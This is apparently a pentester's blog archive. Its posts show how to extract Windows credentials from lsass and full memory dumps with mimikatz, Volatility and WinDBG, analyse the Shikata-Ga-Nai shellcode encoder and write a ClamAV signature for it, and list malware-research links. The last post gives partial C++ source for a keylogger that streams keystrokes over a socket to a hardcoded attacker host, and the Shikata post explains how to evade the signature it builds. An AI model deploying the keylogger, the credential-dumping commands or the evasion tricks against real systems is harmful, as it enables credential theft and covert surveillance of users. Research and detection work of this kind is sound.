Categories
Uncategorized

Windows Credentials and Memory Dumps – Part 4: Volatility & Mimikatz

For this test I installed everything in a WinXP VM. I followed these instructions:
http://michlstechblog.info/blog/security-install-mimikatz-offline-plugin-to-volatility-draft/
… with only small changes, because I had a win32 machine.
First things first: The plugins seems to be PoC and supports Windows Vista & 7 with 32 & 64 Bit (Maybe works for Win Server 2008 too?).
Here are the steps for installing volatility with the plugin:
Download & install Python 2.7.x from https://www.python.org/downloads/release
Download & install Volatility 2.4 module installer http://downloads.volatilityfoundation.org/releases/2.4/volatility-2.4.win32.exe
Download & install Microsoft Visual C++ Compiler for Python 2.7 https://www.microsoft.com/en-us/download/details.aspx?id=44266
(Don’t know if that was really neccessary)
C:\Python27\Scripts>python.exe -m pip install distorm3
C:\Python27\Scripts>python.exe -m pip install Pycrypto
C:\Python27\Scripts>python.exe -m pip install yara
C:\Python27\Scripts>python.exe -m pip install construct
I downloaded the mimikatz plugin for volatility from:
https://raw.githubusercontent.com/RealityNet/hotoloti/master/volatility/mimikatz.py
and stored it in c:\volatility-plugins.
Check:
C:\>python.exe “c:\Python27\Scripts\vol.py” –plugins=”c:\volatility-plugins” –info | findstr /i mimi
Volatility Foundation Volatility Framework 2.4
linux_slabinfo             – Mimics /proc/slabinfo on a running machine
mimikatz                   – mimikatz offline
Success…
Then copy the test.elf image from part 1 to the vm.
Now it is possible to fetch the credentials in clear text:
C:\>python “c:\python27\scripts\vol.py” –plugins=”c:\volatility-plugins” -f “z:
\DAXAMD-20160124-111555.raw”  –profile=Win7SP0x64 mimikatz
Volatility Foundation Volatility Framework 2.4
Module   User             Domain           Password
——– —————- —————- —————————————-
wdigest  __vmware_user__  daxamd           XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
wdigest  dax              daxamd           XXXXXXXXXXXXXXXXXX
wdigest  DAXAMD$          WORKGROUP
Overview:
https://danielsauder.com/2016/02/06/memdumps-volatility-mimikatz-vms-overview/
Categories
Uncategorized

Memdumps, Volatility, Mimikatz, VMs – Part 3: WinDBG Mimikatz Extension

Now this is interesting. It is possible to load a full memory dump into WinDBG, load mimikatz and dump the credentials in cleartext. For this I used the dump of the windows 7 machine from part 2.
For this:
– Download & Install WinDBG
– Download MoonSols Windows Memory Toolkit (http://www.moonsols.com/windows-memory-toolkit/)
Convert the memory image:
C:\Users\dax\Downloads\MWMT-v1.4>bin2dmp.exe ..\volatility_2.5.win.standalone\DAXAMD-20160124-111555.raw ..\volatility_2.5.win.standalone\DAXAMD-20160124-111555.dmp
Note: Don’t use the volatility built-in funcion raw2dmp for this task. This did not work for me.
In WinDBG:
– For x64 dump start WinDBG (x64)
– Open the crashdump
Then:
0: kd> .load c:\users\dax\downloads\mimikatz\x64\mimilib.dll
  .#####.   mimikatz 2.0 alpha (x64) built on Jan 17 2016 00:38:45
 .## ^ ##.  “A La Vie, A L’Amour” – Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ‘## v ##’   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  ‘#####’                                  WinDBG extension ! * * */
===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================
0: kd> .SymFix
0: kd> .Reload
Loading Kernel Symbols
………………………………………………………
……………………………………………………….
……………………………………….
Loading User Symbols
…..
Loading unloaded module list
….Unable to enumerate user-mode unloaded modules, NTSTATUS 0xC0000147
Loading Wow64 Symbols
……………..
0: kd> !process 0 0 lsass.exe
PROCESS fffffa80072b2b10
    SessionId: 0  Cid: 01dc    Peb: 7fffffd6000  ParentCid: 0188
    DirBase: 137127000  ObjectTable: fffff8a001159230  HandleCount: 660.
    Image: lsass.exe
0: kd> .process /r /p fffffa80072b2b10
Implicit process is now fffffa80`072b2b10
Loading User Symbols
……………………………………………………….
0: kd> !mimikatz
DPAPI Backup keys
=================
Current prefered key:       {00000000-0000-0000-0000-000000000000}
Compatibility prefered key: {00000000-0000-0000-0000-000000000000}
SekurLSA
========
Authentication Id : 0 ; 835674 (00000000:000cc05a)
Session           : Interactive from 0
User Name         : __vmware_user__
Domain            : daxamd
Logon Server      : DAXAMD
Logon Time        : 24.01.2016 12:09:33
SID               : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    msv :
     [00010000] CredentialKeys
     * NTLM     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     * SHA1     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     [00000003] Primary
     * Username : __vmware_user__
     * Domain   : daxamd
     * NTLM     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     * SHA1     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    tspkg : KO
    wdigest :
     * Username : __vmware_user__
     * Domain   : daxamd
     * Password : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    kerberos :
     * Username : __vmware_user__
     * Domain   : daxamd
     * Password : (null)
    ssp :
    masterkey :
    credman :
Authentication Id : 0 ; 221616 (00000000:000361b0)
Session           : Interactive from 1
User Name         : dax
Domain            : daxamd
Logon Server      : DAXAMD
Logon Time        : 24.01.2016 12:07:40
SID               : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    msv :
     [00000003] Primary
     * Username : dax
     * Domain   : daxamd
     * NTLM     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     * SHA1     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     [00010000] CredentialKeys
     * NTLM     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     * SHA1     : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    tspkg : KO
    wdigest :
     * Username : dax
     * Domain   : daxamd
     * Password : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    kerberos :
     * Username : dax
     * Domain   : daxamd
     * Password : (null)
— cut —
Again, I found this one awesome.
Overview:
https://danielsauder.com/2016/02/06/memdumps-volatility-mimikatz-vms-overview/
Links:
http://blog.digital-forensics.it/2014/03/mimikatz-offline-addendum_28.html
http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://www.moonsols.com/windows-memory-toolkit/
Categories
Uncategorized

Memdumps, Volatility, Mimikatz, VMs – Part 2: Windows 7 Full Memory Dump & Get Hashes

For this part we first make a memory dump with the moonsols dumit.exe tool (using my physical Windows 7 x64 machine):
http://www.moonsols.com/2011/07/18/moonsols-dumpit-goes-mainstream/
dumpit0551934099191ca7d24e3bd4552ee139
The next steps are simple volatility calls, like getting the basic image information:
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe -f DAXAMD-20160124-111555.raw imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search…
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win200
8R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (C:\Users\dax\Downloads\volati
lity_2.5.win.standalone\DAXAMD-20160124-111555.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002ff20f0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002ff3d00L
                KPCR for CPU 1 : 0xfffff880009e8000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2016-01-24 11:16:03 UTC+0000
     Image local date and time : 2016-01-24 12:16:03 +0100
Get the hivelist:
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe -f DAXAMD-20160124-111555.raw hivelist –profile Win7SP1x64
Volatility Foundation Volatility Framework 2.5
Virtual            Physical           Name
—————— —————— —-
0xfffff8a00000f010 0x0000000153e5d010 [no name]
0xfffff8a0000231f0 0x0000000153e1f1f0 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000062010 0x0000000150d76010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a000121010 0x0000000149c8e010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000d55010 0x0000000148258010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a000e04200 0x000000013b7ad200 \SystemRoot\System32\Config\DEFAULT
0xfffff8a001219010 0x0000000132d35010 \SystemRoot\System32\Config\SECURITY
0xfffff8a001290010 0x0000000131e09010 \SystemRoot\System32\Config\SAM
0xfffff8a00143c010 0x000000012fa23010 \??\C:\Windows\ServiceProfiles\NetworkServ
ice\NTUSER.DAT
0xfffff8a00151a240 0x000000012c2b9240 \??\C:\Windows\ServiceProfiles\LocalServic
e\NTUSER.DAT
0xfffff8a002261010 0x000000010db7f010 \??\C:\Users\dax\ntuser.dat
0xfffff8a0022f6410 0x0000000148132410 \??\C:\Users\dax\AppData\Local\Microsoft\W
indows\UsrClass.dat
0xfffff8a004e77010 0x0000000110fea010 \??\C:\System Volume Information\Syscache.
hve
0xfffff8a00ceae010 0x000000007eeb9010 \??\C:\Windows\System32\config\COMPONENTS
Help!
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.e
xe hashdump -h
Volatility Foundation Volatility Framework 2.5
Usage: Volatility – A memory forensics analysis platform.
Options:
  -h, –help            list all available options and their default values.
                        Default values may be set in the configuration file
                        (/etc/volatilityrc)
  –conf-file=.volatilityrc
                        User based configuration file
  -d, –debug           Debug volatility
  –plugins=PLUGINS     Additional plugin directories to use (semi-colon
                        separated)
  –info                Print information about all registered objects
  –cache-directory=C:\Users\dax/.cache\volatility
                        Directory where cache files are stored
  –cache               Use caching
  –tz=TZ               Sets the (Olson) timezone for displaying timestamps
                        using pytz (if installed) or tzset
  -f FILENAME, –filename=FILENAME
                        Filename to use when opening an image
  –profile=WinXPSP2x86
                        Name of the profile to load (use –info to see a list
                        of supported profiles)
  -l LOCATION, –location=LOCATION
                        A URN location from which to load an address space
  -w, –write           Enable write support
  –dtb=DTB             DTB Address
  –shift=SHIFT         Mac KASLR shift address
  –output=text         Output in this format (support is module specific, see
                        the Module Output Options below)
  –output-file=OUTPUT_FILE
                        Write output in this file
  -v, –verbose         Verbose information
  -g KDBG, –kdbg=KDBG  Specify a KDBG virtual address (Note: for 64-bit
                        Windows 8 and above this is the address of
                        KdCopyDataBlock)
  –force               Force utilization of suspect profile
  -k KPCR, –kpcr=KPCR  Specify a specific KPCR address
  –cookie=COOKIE       Specify the address of nt!ObHeaderCookie (valid for
                        Windows 10 only)
  -y SYS_OFFSET, –sys-offset=SYS_OFFSET
                        SYSTEM hive offset (virtual)
  -s SAM_OFFSET, –sam-offset=SAM_OFFSET
                        SAM hive offset (virtual)
Module Output Options: dot, greptext, html, json, sqlite, text, xlsx
———————————
Module HashDump
———————————
Dumps passwords hashes (LM/NTLM) from memory
What we need for getting the hashes:
y=virtual location of system
s=virtual location of sam
Dump the hashes:
C:\Users\dax\Downloads\volatility_2.5.win.standalone>volatility-2.5.standalone.exe hashdump -f DAXAMD-20160124-111555.raw –profile Win7SP1x64 -y 0xfffff8a0000231f0 -s 0xfffff8a001290010
Volatility Foundation Volatility Framework 2.5
Administrator:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Gast:501:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
dax:1001:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
HomeGroupUser$:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
otto:1007:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
__vmware_user__:1015:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
UpdatusUser:1016:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Link:
Categories
Uncategorized

Memdumps, Volatility, Mimikatz, VMs – Part 1: Mimikatz & lsass.exe Dump

Part 1 is simple. Dump the lsass.exe process and use mimikatz for getting the credentials as clear text and the hashes. You need admin or system rights for this.
But as a short reminder first let’s have a look at the “normal” way for dumping credentials from the lsass.exe process with mimikatz:
mimikatz # privilege::debug
Privilege ’20’ OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 534844 (00000000:0008293c)
Session           : Interactive from 0
User Name         : dax
— cut —
If you do not have a self compiled or otherwise obfuscated mimikatz version every antivirus scanner will do its work. But it is also possible to read credentials from memory dump.
Make memory dump with Process explorer:
prxp624447fe299fa27348bebd7a23b30eb
… remember to make a full dump.
Or use procdump:
procdump -accepteula -ma lsass.exe lsass.dmp
which is much better for pentesters who only have access over a shell.
For dumping the credentials in clear text use mimikatz:
mimikatz # sekurlsa::minidump e:\lsass.dmp
Switch to MINIDUMP : ‘e:\lsass.dmp’
mimikatz # sekurlsa::logonPasswords
Opening : ‘e:\lsass.dmp’ file for minidump…
Authentication Id : 0 ; 534844 (00000000:0008293c)
Session           : Interactive from 0
User Name         : dax
Domain            : DAX-RYMZ48Z3EYO
Logon Server      : DAX-RYMZ48Z3EYO
Logon Time        : 23.01.2016 14:42:11
SID               : S-1-5-21-436374069-688789844-839522115-1003
        msv :
         [00000002] Primary
         * Username : dax
         * Domain   : DAX-RYMZ48Z3EYO
         * LM       : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
         * NTLM     : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
         * SHA1     : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        wdigest :
         * Username : dax
         * Domain   : DAX-RYMZ48Z3EYO
         * Password : XXXXXXX
        kerberos :
         * Username : dax
         * Domain   : DAX-RYMZ48Z3EYO
         * Password : XXXXXXX
— cut —
Links:
Categories
Uncategorized

Memdumps, Volatility, Mimikatz, VMs – Overview

The last weeks I experimented with how to get user crendentials from memory dumps, and hopefully I will have the time to contiue this little “research” (I know, it is not really research when you just writup stuff 😉 ). There are many different ways to dump credentials as hashes or in cleartext from various types of memory dumps, so I think that will become a few short articles. I added links for sources and more in depth information.
Highly interesting for me is how to obtain memory dumbs from virtual machines when you have access to the host system. Further I will have a look at countermeasures in a later part (whereby I mean monitoring and logging).
Overview
Part 1: Mimikatz & lsass.exe Dump
Part 2: Windows 7 Full Memory Dump & Get Hashes
Part 3: WinDBG Mimikatz Extension
Part 4: Volatility & Mimikatz
Part 5: Virtualbox & LM/NTLM Hashes
Part 6: VMWare Workstation
Part 7: ESXi Server
Part 8: Attacking Scenario – Volatility on ESXi
Part 9: Logging & Monitoring ESXi
Categories
Uncategorized

Very first steps with IDA

Recently I started using IDA. For me it has a steep learning curve, and some people I talked to agreed. So here are a few links for the first steps if you want to get into IDA. I assume you already know assembly and know what reversing is. Of course there are many more on the web, but I felt comfortable with those at the moment. If you have good links about it let me know.
Dynamic Analysis
http://erichokanson.me/tag/how-to-use-ida-pro/
Static Analysis
https://tuts4you.com/download.php?view.2455
https://samsclass.info/121/proj/pX11-121-IDA.html
This looks good but is in German: http://blog.tr4ceflow.com/tools/ida-pro-65.html
For training do crackmes:
http://crackmes.de/
Further I found these links useful:
https://zeltser.com/reverse-malware-cheat-sheet/
https://msdn.microsoft.com/library/45yd4tzz.aspx
Categories
Uncategorized

Some Great Links for Malware Research

Last week I attended this years Brucon, where I had the chance to participate in the Malware Triage workshop by https://twitter.com/herrcore and https://twitter.com/seanmw. The workshop is awesome (look here to get the idea: http://herrcore.blogspot.de/2014/09/crowdsourced-malware-triage.html) and if you have the chance to take it go for it! The links here are from their slides and I post it in agreement (thank you):

https://www.virustotal.com/
https://sitereview.bluecoat.com/sitereview.jsp
https://passivetotal.org/
http://whois.domaintools.com/
http://threatcrowd.org/
http://useragentstring.com/
http://onlinecurl.com/
https://www.hurl.it/
http://urlquery.net/
http://jsbeautifier.org/
http://math.chapman.edu/~jipsen/js/
https://www.base64decode.org/
https://www.trailofbits.com/resources/exploit_intelligence_project_2_slides.pdf
https://www.onlinedisassembler.com/odaweb/
http://www.showmycode.com/
http://ideone.com/
http://www.tutorialspoint.com/codingground.htm
https://github.com/rapid7/metasploit-framework
https://malwr.com/
http://plusvic.github.io/yara/
http://openioc.org/
https://totalhash.cymru.com/
http://yara-generator.net/
https://github.com/Xen0ph0n/yaragenerator
https://www.iocbucket.com/
https://www.reverse.it/
Update – Slides: http://openanalysis.net/training/Crowdsourced_Malware_Triage_-_Workshop.pdf
Categories
Uncategorized

Slides OWASP Meeting Cologne

Yesterday I had a talk at the OWASP meeting Cologne, here are the slides:

owasp-meeting-cologne-30-09-2015

Unfortunately Evernote Presentation Mode does not support PDF export on Windows, so no working links in the PDF.

Here is the link list:
http://govolution.wordpress.com

https://twitter.com/DanielX4v3r

http://resources.infosecinstitute.com/shellcode-detection-emulation-libemu/

https://www.winitor.com/

Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag

http://codewhitesec.blogspot.de/2015/07/symantec-endpoint-protection.html

http://googleprojectzero.blogspot.de/2015/09/kaspersky-mo-unpackers-mo-problems.html

https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140508-0_AVG_Remote_Administration_Multiple_critical_vulnerabilities_v10.txt

http://googleprojectzero.blogspot.de/2015/06/analysis-and-exploitation-of-eset.html

http://www.heise.de/newsticker/meldung/Angreifer-koennen-Viren-Scanner-von-BullGuard-und-Panda-lahmlegen-2639307.html

Click to access 2014-en-breakingavsoftware-joxeankoret.pdf

https://funoverip.net/2013/12/turning-your-antivirus-into-my-botnet-owasp-benelux-2013-slides/

Click to access Why_Antivirus_Fails_-_Daniel_Sauder.pdf

Categories
Uncategorized

An Analysis of Shikata-Ga-Nai

Trivia: Shikata ga nai is Japanese and means something like “nothing can be done about it”. https://en.wikipedia.org/wiki/Shikata_ga_nai

Learning is always fun and I was playing around with making ClamAV signatures. I wondered if it is possible to write a signature that matches the famous Shikata-Ga-Nai shellcode encoder shipping with metasploit.

After all I succeeded to write a signature that can match it, but it is so short that it also generates false positives. Here I explain why Shikata-Ga-Nai is so good, how the decoder stub can be analyzed and how a signature can be written.

Analysis

From the source code:

# The shikata encoder has an excellent ranking because it is polymorphic.

# Party time, excellent!

That is true, but let’s have a deep look at it. First here is the command for generating some of the test files:

# echo “planet express is now awesome express” | msfencode -e x86/shikata_ga_nai -c 1 -t raw -o sample01.raw

And here is how the samples look like:

root@bt:~/shikata# xxd sample01.raw

0000000: dbd4 d974 24f4 b8f2 d440 245a 31c9 b10a …t$….@$Z1…

0000010: 3142 1983 c204 0342 1510 2130 48b5 a4d4 1B…..B..!0H…

0000020: e415 5c6f 7527 fbfc 06e7 6a70 c989 0301 ..\ou’….jp….

0000030: 2934 ab88 5ad9 3e36 bd40 b9c8 cfef 4a5a )4..Z.>6.@….JZ

0000040: 3a :

root@bt:~/shikata# xxd sample02.raw

0000000: d9cc ba01 f308 bdd9 7424 f45f 2bc9 b10a ……..t$._+…

0000010: 83c7 0431 5715 0357 15e3 0678 d182 861c …1W..W…x….

0000020: 5d64 32a7 ed16 d924 7df6 48b8 a198 e549 ]d2….$}.H….I

0000030: 8205 8dd0 b1aa 1c7e 1651 a7f0 24fc 2482 …….~.Q..$.$.

0000040: c2 .

root@bt:~/shikata# xxd sample03.raw

0000000: bfbf c40b 27db d0d9 7424 f45e 2bc9 b10a ….’…t$.^+…

0000010: 317e 1483 eefc 037e 105d 317b 4bc0 d419 1~…..~.]1{K…

0000020: e722 4c9a 7750 eb29 0bb4 9abe cbda 3336 .”L.wP.)……36

0000030: 2c43 bbdd 5fec 2e7b 8097 c8f3 b232 5a87 ,C.._..{…..2Z.

0000040: 38 8

root@bt:~/shikata# xxd sample04.raw

0000000: dad0 d974 24f4 baf3 0b7d 9558 31c9 b10a …t$….}.X1…

0000010: 3150 1983 c004 0350 1511 fe0d f9b4 6f8b 1P…..P……o.

0000020: 7516 152b 0624 b0b8 95e8 534c 7a86 ccc5 u..+.$….SLz…

0000030: 5a37 644f e8d8 e7ea 2e43 8084 5cee 0316 Z7dO…..C..\…

0000040: ab .V

As can be seen the output of the samples look pretty different.

Disassembling the shellcode with ndisasm:

root@bt:~/shikata# ndisasm -u sample01.raw

00000000 DBD4 fcmovnbe st4

00000002 D97424F4 fnstenv [esp-0xc]

00000006 B8F2D44024 mov eax,0x2440d4f2

0000000B 5A pop edx

0000000C 31C9 xor ecx,ecx

0000000E B10A mov cl,0xa

00000010 314219 xor [edx+0x19],eax

00000013 83C204 add edx,byte +0x4

00000016 034215 add eax,[edx+0x15]

00000019 1021 adc [ecx],ah

0000001B 3048B5 xor [eax-0x4b],cl

0000001E A4 movsb

0000001F D4E4 aam 0xe4

00000021 155C6F7527 adc eax,0x27756f5c

00000026 FB sti

00000027 FC cld

00000028 06 push es

00000029 E76A out 0x6a,eax

0000002B 70C9 jo 0xfffffff6

0000002D 8903 mov [ebx],eax

0000002F 0129 add [ecx],ebp

00000031 34AB xor al,0xab

00000033 885AD9 mov [edx-0x27],bl

00000036 3E36BD40B9C8CF ss mov ebp,0xcfc8b940

0000003D EF out dx,eax

0000003E 4A dec edx

0000003F 5A pop edx

00000040 3A db 0x3a

This approach is not useful here, instead for further analysis libemu was used. Libemu is a library offering x86 shellcode emulation and comes with the tool sctest.

More information about libemu:

http://libemu.carnivore.it/

https://danielsauder.com/2014/01/24/slae-assignment-5-shellcode-analysis/

http://resources.infosecinstitute.com/shellcode-detection-emulation-libemu/

Here are the steps for producing a nice flowchart:

echo “planet express is now awesome express” | msfencode -e x86/shikata_ga_nai -c 1 -t raw | sctest -vvv -Ss 100000 -G Exec.dot

cat sample01.raw | sctest -vvv -Ss 100000 -G Exec.dot

root@bt:~/shikata# dot Exec02.dot -Tpng -o Exec02.dot.png

Now let’s compare the ndisasm output from before and the flowchart:

shikata01

The flowchart shows how the decryption algorithm works. And there are some interesting points. At offset 02 (417002) the fnstenv instruction is being executed which is a hint for an encoder stub. This instruction helps to obtain the EIP, the value of the EIP register is now in EDX.

Further the instruction from offset 19 (41019) is not still correct in the disassembled output (on the right), where as the shellcode emulator revealed the correct instruction which is adding the loop instruction for the decryption algorithm.

Here is a diagram for a two round shikata-ga-nai encoded payload:

root@bt:~/shikata# echo “planet express is now awesome express” | msfencode -e x86/shikata_ga_nai -c 2 -t raw -o sample_2_rounds.raw

root@bt:~/shikata# cat sample_5_rounds.raw | ~/libemu/libemu/tools/sctest/sctest -vvv -Ss 100000 -G Exec01_5_rounds.dot

root@bt:~/shikata# dot Exec01_5_rounds.dot -Tpng -o Exec_5_rounds.dot.png

 

shikata02

 

As can be seen the encryption code is generated twice. With three rounds the code is generated three times and so on. What can be seen here very good is the fact, that the code for the encryption loop is looking different.

By the way, the encryption code has a size of something about 27 bytes, this can also be seen from the size of the files:

root@bt:~/shikata# ll sample01.raw *_rounds.raw

-rw-r–r– 1 root root 65 2015-08-16 20:56 sample01.raw

-rw-r–r– 1 root root 92 2015-08-21 17:45 sample_2_rounds.raw

-rw-r–r– 1 root root 173 2015-08-21 17:39 sample_5_rounds.raw

Further reading for shellcoding and analyzing shellcode:

http://phrack.org/issues/62/7.html

http://repository.lib.ncsu.edu/ir/bitstream/1840.16/5484/1/etd.pdf

Writing a ClamAV signature

If you are not familiar with the ClamAV sigtool have look here:

http://www.pwnage.io/2013/06/fun-with-clamav.html

https://raw.githubusercontent.com/vrtadmin/clamav-devel/master/docs/signatures.pdf

The source code that builds up the encoder can be found here (or on your harddrive):

https://github.com/rapid7/metasploit-framework/blob/master/modules/encoders/x86/shikata_ga_nai.rb

Note that a sub-signature must have a size if at least two bytes, I am using logical signatures in this example.

The samples above look polymorphic, but nevertheless a pattern can be found that looks similar.

Here is the first line of the four samples for comparing them directly:

0000000: dbd4 d974 24f4 b8f2 d440 245a 31c9 b10a …t$….@$Z1…

0000000: d9cc ba01 f308 bdd9 7424 f45f 2bc9 b10a ……..t$._+…

0000000: bfbf c40b 27db d0d9 7424 f45e 2bc9 b10a ….’…t$.^+…

0000000: dad0 d974 24f4 baf3 0b7d 9558 31c9 b10a …t$….}.X1…

By having a look to the corresponding source code it is possible to determine what assemly code is used for clearing the ECX register:

clear_register = Rex::Poly::LogicalBlock.new(‘clear_register’,

\x31\xc9“, # xor ecx,ecx

\x29\xc9“, # sub ecx,ecx

\x33\xc9“, # xor ecx,ecx

\x2b\xc9“) # sub ecx,ecx

And this translates to the pattern:

31C9;29C9;33C9;2BC9

For the next part one or two bytes can be used to enhance the two bytes:

if (length <= 255)

init_counter.add_perm(“\xb1” + [ length ].pack(‘C’))

elsif (length <= 65536)

init_counter.add_perm(“\x66\xb9” + [ length ].pack(‘v’))

else

init_counter.add_perm(“\xb9” + [ length ].pack(‘V’))

end

In combination with the first two bytes here are the sub-signatures:

31c9b1;31c966b9;31c9b9;29c9b1;29c966b9;29c9b9;33c9b1;33c966b9;33c9b9;2bc9b1;2bc966b9;2bc9b9

The file with the signature can be saved for example as test.ldb, here is the complete signature:

Shikata2;Target:0;(0|1|2|3|4|5|6|7|8|9|10|11);31C9B1;31C966B9;31C9B9;29C9B1;29C966B9;29C9B9;33C9B1;33C966B9;33C9B9;2bC9B1;2bC966B9;2bC9B9

Here is a quick test in my old Windows XP machine:

shikata03

And as it can be seen, it works like expected, but there is a problem.

False Positives

And this problem is that the signature is too short, it has only three or four bytes. This is producing hell of a lot false positives. Here is one example:

shikata04

ClamAV has a false positive list which might be worth a look for a later project :-).

For testing purposes I run ClamAV with the signature over the c:\windows\system32 folder, the signature matched for 55 files out of 2033. But at least the signature might work as an indicator for further analysis.

Cat-and-Mouse

From a pentesters perspective the Shikata-Ga-Nai decoder does awesome work and even can be used for antivirus evasion for some products. Writing a signature seems not to be feasible.

To defeat the signature I wrote it is enough to add a NOP between the second and the third byte if that is possible. Further it might be possible to add more polymorphic code for the first two bytes of the signature, for example with something like:

xor eax, eax

mov ecx, eax

And combinations of that. This will of course add a few bytes to the encoder.

Conclusion

As said before, the Shikata-Ga-Nai decoder is great and can only be recognized by using techniques like code emulation and sandboxing. Another way to recognize complex decoder stubs might be to write scripts that implement more complex rules, but I doubt this is practical.

Further, here it can be seen why it is so hard to write good signatures for antivirus tools, since malware comes with many faces.

Thanks to @blubbfiction for proofreading.

Categories
Uncategorized

A basic keylogger for Windows

For testing security software and hardware I wrote a very simple keylogger (which is very noisy). Together with the winexec shellcode I wrote earlier it is possible to download and start the keylogger which simulates a very simple malware. My idea is it to have a some tools (when I will have more time to program 🙂 ), that help testing all the nice antivirus, sandboxing and so on solutions for my daily pentesting job, from exploitation on. That also includes antivirus evasion tools (based on https://github.com/govolution/avepoc).

How it works
Start the executable on the “target” system. Start nc on the “attacking” system.

2015-07-14 14_22_46-WinXP_1 (Ausgangspunkt für WinXP_1 und WinXP_1-Klon) [wird ausgeführt] - Oracle

From a technical point of view there is nothing spectacular to see here. The function used for getting what keys are pressed is GetAsyncKeyState (see here).

Code for the keylogger

/* Tested: Windows XP/7/8
 * Compiler: mingw
 * Compile with: g++ WinKeylog.cpp -lWs2_32
 * Some of the code is from:
 * http://www.online-tutorials.net/system/keylogger-tastatur-abfragen/sourcecodes-t-19-270.html
 */

#include <string.h>  
#include <iostream> 
#include <winsock2.h> 
 
std::string GetKey(int Key) 
{ 
	std::string KeyString = ""; 

	if (Key == 8) 
		KeyString = "[delete]"; 
	if (Key == 13) 
		KeyString = "\n"; 
	if (Key == 32) 
		KeyString = " "; 
	if (Key == VK_PAUSE) 
		KeyString = "[PAUSE]"; 
	if (Key == VK_CAPITAL) 
		KeyString = "[CAPITAL]"; 
	if (Key == VK_SHIFT) 
		KeyString = "[SHIFT]"; 
	if (Key == VK_TAB) 
		KeyString = "[TABULATOR]"; 
	if (Key == VK_CONTROL)
		KeyString = "[CTRL]"; 
	if (Key == VK_ESCAPE) 
		KeyString = "[ESCAPE]"; 
	if (Key == VK_END) 
		KeyString = "[END]"; 
	if (Key == VK_HOME) 
		KeyString = "[HOME]"; 
	if (Key == VK_LEFT) 
		KeyString = "[LEFT]"; 
	if (Key == VK_RIGHT) 
		KeyString = "[RIGHT]"; 
	
	if (Key >=96 && Key  47 && Key  64 && Key < 91) 
		{ 
			if (GetKeyState(VK_CAPITAL)) 
				KeyString = Key; 
			else 
			{ 
				Key = Key + 32; 
				KeyString = Key; 
			} 
		} 
	} 

	return KeyString; 
} 

int main() 
{ 
	WSAData version;     
	WORD mkword=MAKEWORD(2,2);
	WSAStartup(mkword,&version);

	SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	sockaddr_in addr;
	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=inet_addr("192.168.10.29");
	addr.sin_port=htons(80);

	int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
	if(conn==SOCKET_ERROR) {
		closesocket(u_sock);
		WSACleanup();
	}

	char vect[512]={0};

	std::string TempString = ""; 

	while(true) 
	{ 
		Sleep(5); 

		for(int i = 8; i < 191; i++) 
		{ 
			if(GetAsyncKeyState(i)&1 ==1) 
			{ 
